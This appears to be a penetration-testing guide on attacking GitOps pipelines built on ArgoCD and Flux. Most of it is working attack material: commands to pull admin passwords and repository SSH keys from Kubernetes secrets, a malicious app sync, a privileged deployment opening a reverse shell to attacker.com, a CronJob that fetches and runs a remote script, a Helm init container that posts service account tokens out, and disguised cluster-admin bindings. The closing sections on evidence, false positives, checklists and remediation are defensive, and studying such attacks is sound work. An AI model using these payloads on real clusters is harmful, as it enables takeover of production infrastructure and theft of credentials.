GitOps & ArgoCD Attacks
GitOps makes Git the source of truth for infrastructure. Compromise the Git repo, and ArgoCD/Flux will automatically deploy your malicious changes to production Kubernetes clusters.
Automatic Deployment = Automatic Compromise
GitOps Attack Flow
GitOps Sync Loop & Attack Vectors
Scroll sideways to see the whole diagram
ArgoCD Exploitation
Default Credentials
# ArgoCD default admin password is auto-generated
# But stored in a Kubernetes secret!
# If you have cluster access:
kubectl -n argocd get secret argocd-initial-admin-secret -o jsonpath="{.data.password}" | base64 -d
# Default username: admin
# Access UI at: https://argocd.target.com
# Via CLI
argocd login argocd.target.com --username admin --password <password>
# Many orgs never rotate this password or disable the admin accountApplication Poisoning
# If you have ArgoCD access (UI or CLI):
# 1. Create malicious app pointing to your repo
argocd app create backdoor \
--repo https://github.com/attacker/malicious-k8s \
--path manifests \
--dest-server https://kubernetes.default.svc \
--dest-namespace default
# 2. Sync it
argocd app sync backdoor
# Your malicious manifests now deployed to cluster!
# Or modify existing app to point to different branch/path
argocd app set existing-app --path malicious-manifestsRepository Credential Theft
# ArgoCD stores repo credentials as K8s secrets
# Type: argocd.argoproj.io/secret-type: repository
# List repository secrets
kubectl -n argocd get secrets -l argocd.argoproj.io/secret-type=repository
# Decode credentials
kubectl -n argocd get secret repo-XXXXX -o yaml
# Look for: password, sshPrivateKey, tlsClientCertData
# Decode base64
kubectl -n argocd get secret repo-XXXXX -o jsonpath="{.data.password}" | base64 -d
kubectl -n argocd get secret repo-XXXXX -o jsonpath="{.data.sshPrivateKey}" | base64 -d
# These creds let you push to the Git repos ArgoCD syncs from!Manifest Injection
If you can push to the GitOps repo, inject malicious Kubernetes manifests:
# backdoor-deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: maintenance # Innocent looking name
namespace: default
spec:
replicas: 1
selector:
matchLabels:
app: maintenance
template:
spec:
containers:
- name: maintenance
image: attacker/backdoor:latest # Your image
command: ["/bin/sh", "-c"]
args:
- |
# Reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
securityContext:
privileged: true # Full host access
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
hostNetwork: true
hostPID: true# backdoor-cronjob.yaml
apiVersion: batch/v1
kind: CronJob
metadata:
name: log-cleanup # Looks like maintenance task
spec:
schedule: "*/5 * * * *" # Every 5 minutes
jobTemplate:
spec:
template:
spec:
containers:
- name: cleanup
image: alpine
command: ["/bin/sh", "-c"]
args:
- |
wget -q -O- https://attacker.com/beacon.sh | sh
restartPolicy: OnFailure
serviceAccountName: defaultFlux CD Exploitation
# Flux uses GitRepository and Kustomization CRDs
# Find Flux sources
kubectl get gitrepositories -A
kubectl get helmrepositories -A
# Check what's being deployed
kubectl get kustomizations -A
kubectl get helmreleases -A
# Flux stores Git credentials as secrets
kubectl -n flux-system get secrets
# Decode SSH key
kubectl -n flux-system get secret flux-system -o jsonpath="{.data.identity}" | base64 -d
# If you compromise the Git repo, Flux auto-deploys changes
# Push malicious Kustomization:
# kustomization.yaml
apiVersion: kustomize.config.k8s.io/v1beta1
kind: Kustomization
resources:
- deployment.yaml
- backdoor.yaml # Your malicious manifestHelm Chart Poisoning
# GitOps often deploys Helm charts
# Poison the chart values or templates
# values.yaml modification - add sidecar container
extraContainers:
- name: metrics # Innocent name
image: attacker/backdoor:latest
command: ["/backdoor"]
# Or modify templates/deployment.yaml
# Add init container that runs first:
initContainers:
- name: init
image: alpine
command: ["/bin/sh", "-c"]
args:
- |
# Exfil secrets before main app starts
cat /var/run/secrets/kubernetes.io/serviceaccount/token | \
curl -X POST -d @- https://attacker.com/token
# Post-install hook (runs after chart install)
# templates/post-install.yaml
apiVersion: batch/v1
kind: Job
metadata:
annotations:
"helm.sh/hook": post-install
spec:
template:
spec:
containers:
- name: post-install
image: alpine
command: ["wget", "-q", "-O-", "https://attacker.com/beacon"]RBAC Escalation via GitOps
# Deploy ClusterRoleBinding giving your ServiceAccount cluster-admin
# clusterrolebinding.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: system-admin-binding # Looks legitimate
subjects:
- kind: ServiceAccount
name: default
namespace: attacker-namespace
roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.io
# Or create a new ServiceAccount with admin:
# serviceaccount.yaml
apiVersion: v1
kind: ServiceAccount
metadata:
name: monitoring-admin
namespace: kube-system
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: monitoring-admin-binding
subjects:
- kind: ServiceAccount
name: monitoring-admin
namespace: kube-system
roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.ioEnumeration
# Find ArgoCD
kubectl get namespaces | grep -i argo
kubectl get pods -n argocd
kubectl get svc -n argocd
# Find Flux
kubectl get namespaces | grep -i flux
kubectl get pods -n flux-system
# ArgoCD applications
kubectl get applications -n argocd
kubectl get applications -n argocd -o yaml # See repo URLs
# Check what repos are configured
kubectl get secrets -n argocd -l argocd.argoproj.io/secret-type=repository
# ArgoCD RBAC - who can do what
kubectl get configmap argocd-rbac-cm -n argocd -o yaml
# Find GitOps-managed resources (ArgoCD labels)
kubectl get all -A -l app.kubernetes.io/instance
# Check for auto-sync (most dangerous)
kubectl get applications -n argocd -o jsonpath='{range .items[*]}{.metadata.name}: {.spec.syncPolicy.automated}{"
"}{end}'Tools
Real-World: ArgoCD Path Traversal (CVE-2022-24348)
GitOps Attack Labs
Practice ArgoCD and Flux exploitation in a safe Kubernetes environment.
📋 Framework Alignment
OWASP CI/CD: CICD-SEC-1 (Insufficient Flow Control), CICD-SEC-8 (Ungoverned Usage of 3rd Party Services) | MITRE ATT&CK: T1609 (Container Administration Command), T1610 (Deploy Container) | CIS Kubernetes Benchmark: 5.1 (RBAC and Service Accounts), 5.2 (Pod Security)
Evidence to Capture
A GitOps finding is a claim that desired state changed and the controller applied it. Both halves matter: a commit that never synced is a review note, not a compromise.
Application object:
The Application, Kustomization or HelmRelease name and namespace, with source repo URL, target revision and path it reconciles from.
Source commit: The commit SHA in the GitOps repository that produced the current desired state, plus its author and timestamp. This is the artefact the controller trusted.
Sync operation record:
Operation ID, the identity that triggered it, the start and finish timestamps and the result, plus whether syncPolicy.automated was set on the application.
Rendered diff: What was applied rather than what was written: the live object against the desired object, showing the specific container, volume mount or binding that changed.
Controller identity and version: ArgoCD or Flux version for CVE mapping, and the ServiceAccount and cluster role the controller runs as, because that is the real privilege of any sync.
RBAC and project scope:
The argocd-rbac-cm policy, the AppProject source and destination restrictions, and the type and scope of the repository credential secret.
Likely False Positives
GitOps alerts usually come from a commit. Whether it deployed is a separate question with a checkable answer.
- Automated sync is off: Without a sync policy, the change sits in a diff until someone applies it. Report the drift and the missing gate, not a deployment.
-
Project scope blocks the app:
An AppProject whose
sourceReposanddestinationsdo not include the malicious repo or namespace prevents the application from ever syncing it. - Admission policy rejects the manifest: A Kyverno, Gatekeeper or Pod Security policy that denies privileged containers means the object never reached the API as written. That is the control doing its job.
- Credential is a read-only deploy key: A deploy key that cannot push gives read access to the manifests, not write access. Adjust the impact rather than the finding.
- Commit never reconciled: A commit on a branch no application tracks has not been deployed, even if it contains a perfect backdoor manifest worth quoting.
- Controller not cluster-wide: A namespace-scoped ArgoCD install cannot deploy into other namespaces regardless of what the manifest asks for, which caps the blast radius at the namespace.
Testing Checklist
Controller posture
- ☐ Controller version recorded for CVE matching
- ☐ Whether the install is namespace-scoped or cluster-wide
- ☐ Initial admin secret rotated and admin disabled after bootstrap
- ☐ ArgoCD RBAC policy read in full
- ☐ SSO or local accounts enumerated with their project roles
- ☐ Whether the API is reachable anonymously
Application and source
- ☐ Every application enumerated with source repo, revision and path
- ☐ Automated sync and self-heal flags recorded per application
- ☐ AppProject source and destination restrictions read
- ☐ Repository credentials enumerated by type and scope
- ☐ Helm values and chart versions traced to their source
- ☐ Drift detected between live and desired state for each app
Manifest and sync
- ☐ Privileged, hostNetwork and hostPath workloads searched across synced namespaces
- ☐ ClusterRoleBinding and RoleBinding objects created by sync enumerated
- ☐ Service account tokens and projected volume changes reviewed
- ☐ Sync operation history read for unexpected actors and times
- ☐ Sync windows and rollback behaviour confirmed
- ☐ Admission policies covering the target namespaces listed
Remediation
GitOps control plane
- • Scope every application with an AppProject that names its permitted
sourceReposanddestinations, so a compromised repository cannot deploy into another team namespace. - • Keep automated sync for development and require a signed commit or an approval for production, so a push is not automatically a deploy.
- • Give the controller the narrowest cluster role that reconciles its namespaces, and keep repository credentials read-only unless a workflow genuinely pushes.
- • Disable the local admin account after bootstrap, put the UI behind SSO, and enable the audit log so sync initiators are attributable.
Admission and detection
- • Enforce pod security at admission: no privileged containers, no hostPath, no host namespaces from a GitOps-managed repo.
- • Alert when a sync creates a ClusterRoleBinding, a privileged workload or a new ServiceAccount in a system namespace, because that is the escalation shape.
- • Watch the GitOps repository itself: reviews and branch protection on the branch that production tracks, with commit signing for the release branch.
- • Record sync history centrally and retain it beyond the controller default, since the incident review tends to happen weeks after the sync.
CWE References: CWE-863, CWE-269, CWE-829